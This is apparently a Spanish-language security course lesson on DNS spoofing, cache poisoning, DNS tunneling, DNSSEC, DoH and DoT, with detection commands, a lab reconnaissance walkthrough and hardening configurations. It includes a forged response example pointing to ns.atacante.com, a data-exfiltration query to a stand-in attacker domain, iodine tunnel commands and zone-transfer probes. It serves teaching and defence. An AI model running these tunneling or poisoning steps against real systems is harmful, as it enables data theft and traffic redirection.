DNS security: spoofing, cache poisoning, DNSSEC, DoH y DoT

El DNS es el protocolo que traduce nombres de dominio a direcciones IP. Cada vez que escribes una URL en el navegador, hay una cadena de consultas DNS que resuelve ese nombre antes de que la primera conexión TCP se establezca. Es un sistema que funciona tan bien que la mayoría de administradores lo ignora, y ese es exactamente el problema: cuando un atacante manipula las respuestas DNS, puede redirigir tráfico entero sin que el usuario note nada.

Esta lección te enseña los ataques principales contra DNS, las defensas que existen y cómo detectar anomalías en la resolución de nombres. Es la decimocuarta lección de la Tanda 8. Los laboratorios orion-recon y snort de whoami-labs te permiten practicar reconocimiento y análisis de tráfico de red en entornos controlados.

Todo lo que se explica aquí es para que entiendas los mecanismos de ataque y puedas defenderte. Practica únicamente en entornos autorizados: laboratorios propios, CTFs o plataformas como whoami-labs. Atacar infraestructura DNS de terceros es ilegal y puede afectar a miles de usuarios.

Cómo funciona la resolución DNS#

Cuando tu navegador necesita resolver whoami-labs.com, ocurre lo siguiente:

• Tu sistema operativo consulta al resolver recursivo configurado (normalmente el de tu ISP o uno público como 8.8.8.8).
• El resolver mira su caché. Si no tiene la respuesta, inicia una resolución iterativa.
• Primero pregunta a un servidor raíz (hay 13 grupos, identificados de a.root-servers.net a m.root-servers.net). El raíz responde con la dirección del servidor TLD para .com.
• El resolver pregunta al servidor TLD de .com, que responde con la dirección del servidor autoritativo de whoami-labs.com.
• El resolver pregunta al autoritativo, que devuelve la IP final (registro A o AAAA).
• El resolver cachea la respuesta durante el TTL indicado y se la devuelve al cliente.

Todo este proceso usa UDP en el puerto 53 por defecto. Cada respuesta lleva un campo de 16 bits llamado Transaction ID que debe coincidir con la consulta original. Esos dos datos (UDP sin estado y un ID de solo 65.536 valores posibles) son la raíz de la mayoría de ataques al DNS clásico.

Por qué DNS es vulnerable#

El protocolo DNS original (RFC 1035, 1987) no incluyó ningún mecanismo de autenticación. Cuando un resolver recibe una respuesta UDP con el Transaction ID correcto y el puerto origen esperado, la acepta sin más. No hay firma, no hay cifrado, no hay verificación de que la respuesta viene realmente del servidor autoritativo.

Los problemas principales son tres. Primero, UDP no tiene estado: cualquier paquete que llegue con el ID correcto se acepta, aunque no venga del servidor real. Segundo, el Transaction ID de 16 bits es predecible o adivinable por fuerza bruta (65.536 posibilidades). Tercero, el modelo de confianza es transitivo: si enveneneas la caché de un resolver, todos los clientes que dependan de ese resolver quedan afectados.

Estas debilidades han motivado décadas de extensiones: DNSSEC para autenticación, DoT y DoH para cifrado del transporte, y EDNS0 para ampliar funcionalidades. Pero la adopción sigue siendo parcial.

Tipos de ataques DNS#

DNS spoofing y cache poisoning en detalle#

El ataque clásico de DNS spoofing funciona así: el atacante se coloca en la red local (ARP spoofing, por ejemplo) y cuando ve una consulta DNS salir del cliente, envía una respuesta falsa antes de que llegue la respuesta legítima. Si el Transaction ID y el puerto coinciden, el cliente acepta la respuesta del atacante.

El cache poisoning es más peligroso porque no necesita estar en la red local del cliente. El ataque de Dan Kaminsky, presentado en Black Hat 2008, demostró que se puede envenenar la caché de un resolver recursivo a distancia. El método consiste en forzar al resolver a hacer una consulta para un subdominio aleatorio que no existe (por ejemplo, aaa123.ejemplo.com), e inundar al resolver con respuestas falsas que incluyen un registro adicional (Additional Section) con la IP falsa para ejemplo.com. Si una de esas respuestas llega con el Transaction ID correcto antes que la respuesta real del autoritativo, el resolver cachea el registro falso.

; Consulta legítima del resolver
;; QUESTION SECTION:
;aaa123.ejemplo.com.    IN    A

; Respuesta falsificada del atacante (llega antes que la real)
;; ANSWER SECTION:
aaa123.ejemplo.com.  300  IN  A  6.6.6.6

;; AUTHORITY SECTION:
ejemplo.com.         86400 IN  NS  ns.atacante.com.

;; ADDITIONAL SECTION:
ns.atacante.com.     86400 IN  A  6.6.6.6

Tras el trabajo de Kaminsky, se implementó la randomización del puerto origen (source port randomization) como mitigación urgente: en lugar de usar un puerto fijo, el resolver elige un puerto aleatorio entre miles, lo que multiplica el espacio de adivinación. Pero la solución definitiva es DNSSEC.

DNS tunneling: exfiltración por DNS#

DNS tunneling encapsula datos arbitrarios dentro de consultas y respuestas DNS. Como casi todos los firewalls permiten tráfico DNS (puerto 53), un atacante puede usarlo como canal de comunicación encubierto para exfiltrar datos o establecer un canal de comando y control (C2).

El mecanismo básico: el atacante controla un dominio (por ejemplo, tunel.atacante.com) y su servidor autoritativo. El malware en la máquina comprometida codifica los datos como subdominios:

; Datos exfiltrados codificados como subdominio
dGVzdC1kYXRh.tunel.atacante.com   IN   TXT

El resolver local reenvía la consulta hasta el autoritativo del atacante, que decodifica los datos y responde con más instrucciones codificadas en registros TXT o CNAME.

Herramientas conocidas para DNS tunneling:

• iodine: túnel IP sobre DNS, crea una interfaz de red virtual. Soporta NULL, TXT, CNAME, MX.
• dnscat2: shell interactiva sobre DNS, cifrado incorporado, ideal para C2.
• dns2tcp: reenvío TCP sobre DNS.

# Ejemplo: iniciar un servidor iodine (lado atacante, en entorno autorizado)
iodined -f 10.0.0.1 tunel.ejemplo.com

# Cliente iodine (máquina comprometida)
iodine -f -r tunel.ejemplo.com

La detección se basa en que las consultas de tunneling tienen subdominios inusualmente largos, alta frecuencia de consultas a un mismo dominio, y tipos de registro poco comunes (TXT, NULL).

DNSSEC: firma criptográfica del DNS#

DNSSEC (DNS Security Extensions, RFC 4033, RFC 4034, RFC 4035) añade firmas criptográficas a las respuestas DNS. No cifra el contenido (las consultas y respuestas siguen siendo legibles), pero permite verificar que la respuesta no ha sido modificada y que proviene del servidor autoritativo legítimo.

Los registros nuevos que introduce DNSSEC:

La cadena de confianza funciona así: la zona raíz tiene una clave pública conocida (trust anchor). Cada TLD tiene un registro DS en la zona raíz que apunta a su clave. Cada dominio tiene un DS en su TLD. Para validar una respuesta, el resolver sigue la cadena desde la raíz hasta el dominio y verifica cada firma.

# Consultar registros DNSSEC con dig
dig +dnssec ejemplo.com A

# Ver la cadena de confianza completa
dig +trace +dnssec ejemplo.com A

# Verificar firma DNSKEY
dig DNSKEY ejemplo.com +short

DNSSEC resuelve el cache poisoning: si la respuesta no tiene firma válida (o la firma no encadena con la raíz), el resolver la descarta. Pero tiene limitaciones: aumenta el tamaño de las respuestas (puede amplificar DDoS), la gestión de claves es compleja (rotación de KSK y ZSK), y NSEC puede revelar todos los registros de una zona (zone walking), aunque NSEC3 lo mitiga con hashing.

DoH y DoT: cifrado del transporte#

Mientras que DNSSEC autentica las respuestas, no cifra la comunicación. Cualquiera en la ruta de red puede ver qué dominios consultas. Para resolver esto existen dos estándares:

DNS over TLS (DoT), definido en RFC 7858. Usa TLS 1.2 o 1.3 sobre el puerto 853. El resolver establece una conexión TLS con el servidor DNS antes de enviar consultas. Es fácil de bloquear porque usa un puerto dedicado.

DNS over HTTPS (DoH), definido en RFC 8484. Encapsula las consultas DNS dentro de peticiones HTTPS estándar al puerto 443. Es mucho más difícil de bloquear porque se mezcla con el tráfico HTTPS normal.

# Consulta DoH con curl
curl -s -H 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=whoami-labs.com&type=A'

# Consulta DoT con kdig (knot-dns)
kdig -d @1.1.1.1 +tls-ca whoami-labs.com A

La combinación ideal es DNSSEC (autenticación) + DoH o DoT (cifrado del transporte). DNSSEC garantiza que la respuesta es legítima; DoH/DoT garantiza que nadie espía qué consultas haces.

Cómo se detectan ataques DNS#

La detección de ataques DNS requiere monitorizar tanto el tráfico como los patrones de consulta:

# Detectar subdominios largos (posible tunneling) con tcpdump + awk
tcpdump -i eth0 -nn port 53 2>/dev/null | \
  awk '/A\?/ {split($8,a,"."); if(length(a[1])>30) print}'

# Monitorizar consultas DNS con Zeek
zeek -r captura.pcap local "Log::default_rotation_interval=0sec"
cat dns.log | zeek-cut query qtype answers | sort | uniq -c | sort -rn | head

# Buscar resolvers abiertos en tu red
nmap -sU -p 53 --script dns-recursion IP_DEL_LAB/24

Explotación en un laboratorio#

Estos pasos se practican en un entorno autorizado como los laboratorios de whoami-labs.

Paso 1: reconocimiento DNS del objetivo#

# Enumerar registros DNS del dominio objetivo
dig IP_DEL_LAB ANY +noall +answer
dig IP_DEL_LAB MX +short
dig IP_DEL_LAB NS +short
dig IP_DEL_LAB TXT +short

Paso 2: transferencia de zona (si está mal configurada)#

# Intentar transferencia de zona AXFR
dig @IP_DEL_LAB dominio.local AXFR

# Con nmap
nmap --script dns-zone-transfer -p 53 IP_DEL_LAB

Si el servidor permite AXFR sin autenticación, obtienes todos los registros de la zona: hosts internos, subdominios, registros MX, todo.

Paso 3: detectar resolver abierto#

# Comprobar si acepta consultas recursivas
dig @IP_DEL_LAB google.com A +recurse

# Con nmap
nmap -sU -p 53 --script dns-recursion IP_DEL_LAB

Un resolver abierto es explotable para amplificación DDoS y cache poisoning.

Paso 4: capturar y analizar tráfico DNS#

# Capturar tráfico DNS
tcpdump -i eth0 -w dns_capture.pcap port 53

# Analizar con tshark
tshark -r dns_capture.pcap -T fields \
  -e ip.src -e ip.dst -e dns.qry.name -e dns.a

Qué puede lograr un atacante#

Cómo se defiende correctamente#

La defensa requiere actuar en varias capas:

• Implementar DNSSEC en tus zonas autoritativas. Firmar la zona, publicar DS en el registro padre, configurar rotación de claves (KSK anual, ZSK cada 3 meses es una práctica común).
• Habilitar validación DNSSEC en el resolver. En Unbound:

# /etc/unbound/unbound.conf
server:
    module-config: "validator iterator"
    auto-trust-anchor-file: "/var/lib/unbound/root.key"

• Restringir transferencias de zona solo a secundarios autorizados:

# named.conf (BIND)
zone "ejemplo.com" {
    type master;
    allow-transfer { 10.0.0.2; };
};

• Deshabilitar recursión en servidores autoritativos. Un servidor que solo sirve zonas no debe resolver consultas externas.
• Implementar Response Rate Limiting (RRL) para mitigar amplificación:

# named.conf (BIND)
rate-limit {
    responses-per-second 5;
    window 5;
};

• Usar DoH o DoT en los clientes para proteger la privacidad de las consultas.
• Monitorizar tráfico DNS con Zeek, Suricata o un SIEM. Alertar sobre subdominios largos, volumen anómalo, y consultas a servidores no autorizados.
• Filtrar DNS con listas de dominios maliciosos (Pi-hole, DNS firewall, RPZ).

Errores comunes al defenderse#

• Implementar DNSSEC pero no configurar rotación de claves: cuando la KSK expira, toda la zona deja de validar.
• Permitir AXFR a cualquier IP porque "siempre se hizo así".
• Dejar resolvers abiertos a internet: se usan para amplificación DDoS.
• Bloquear DoH/DoT sin entender que los usuarios configuran DNS alternativo y pierdes visibilidad.
• No monitorizar el tráfico DNS interno: el tunneling ocurre dentro de la red.
• Confiar solo en DNSSEC sin cifrado: la autenticación no impide que espíen tus consultas.
• Usar NSEC en lugar de NSEC3: permite enumerar toda la zona (zone walking).

Preguntas frecuentes#

DNSSEC cifra mis consultas DNS?#

No. DNSSEC autentica las respuestas (garantiza que no han sido modificadas), pero no cifra nada. Para cifrado necesitas DoH (DNS over HTTPS) o DoT (DNS over TLS). Lo ideal es combinar ambos: DNSSEC para integridad y DoH/DoT para confidencialidad.

Puedo usar DoH y DNSSEC a la vez?#

Sí, son complementarios. DoH cifra el transporte entre tu cliente y el resolver. DNSSEC autentica la respuesta desde el autoritativo hasta el resolver. Juntos cubren tanto la privacidad como la integridad.

Cómo detecto DNS tunneling en mi red?#

Busca consultas con subdominios inusualmente largos (más de 30 caracteres), alta frecuencia de consultas a un mismo dominio, y tipos de registro poco comunes (TXT, NULL, CNAME con datos codificados). Herramientas como Zeek, Suricata y passivedns generan logs que facilitan este análisis.

Qué tan extendido está DNSSEC?#

La adopción varía mucho por región y TLD. Los ccTLD europeos (.nl, .se, .cz) tienen adopción alta. Los gTLD (.com, .org) la soportan pero la mayoría de dominios individuales no firman sus zonas. La validación en resolvers (Cloudflare 1.1.1.1, Google 8.8.8.8) es universal, pero sin zonas firmadas no hay nada que validar.

El ataque de Kaminsky sigue siendo viable?#

En su forma original, no. La randomización del puerto origen (implementada en 2008 como parche urgente) multiplicó el espacio de adivinación de 65.536 a miles de millones de combinaciones. Pero variantes como SAD DNS (2020) demostraron que side channels en ICMP pueden reducir el espacio de nuevo. DNSSEC es la única solución definitiva.

Dónde practico análisis de tráfico DNS?#

En whoami-labs, el laboratorio orion-recon te permite practicar reconocimiento y enumeración DNS contra un objetivo controlado, y snort te entrega capturas de tráfico para analizar patrones de ataque.

Resumen#

• El DNS original no tiene autenticación ni cifrado: cualquier respuesta con el Transaction ID correcto se acepta.
• Los ataques principales son cache poisoning (envenenar la caché del resolver), DNS tunneling (exfiltrar datos por DNS) y DNS hijacking (comprometer el servidor o el registrar).
• DNSSEC (RFC 4033-4035) añade firmas criptográficas para verificar la integridad de las respuestas, pero no cifra.
• DoH (RFC 8484) y DoT (RFC 7858) cifran el transporte para proteger la privacidad de las consultas.
• La defensa completa combina DNSSEC + DoH/DoT + monitorización de tráfico DNS + restricción de transferencias de zona.

Fuentes y lecturas recomendadas#

• RFC 1035: Domain Names - Implementation and Specification
• RFC 4033: DNS Security Introduction and Requirements
• RFC 4034: Resource Records for the DNS Security Extensions
• RFC 4035: Protocol Modifications for the DNS Security Extensions
• RFC 7858: DNS over TLS
• RFC 8484: DNS Queries over HTTPS (DoH)
• MITRE ATT&CK T1071.004: Application Layer Protocol: DNS
• MITRE ATT&CK T1568: Dynamic Resolution
• Cloudflare: What is DNSSEC?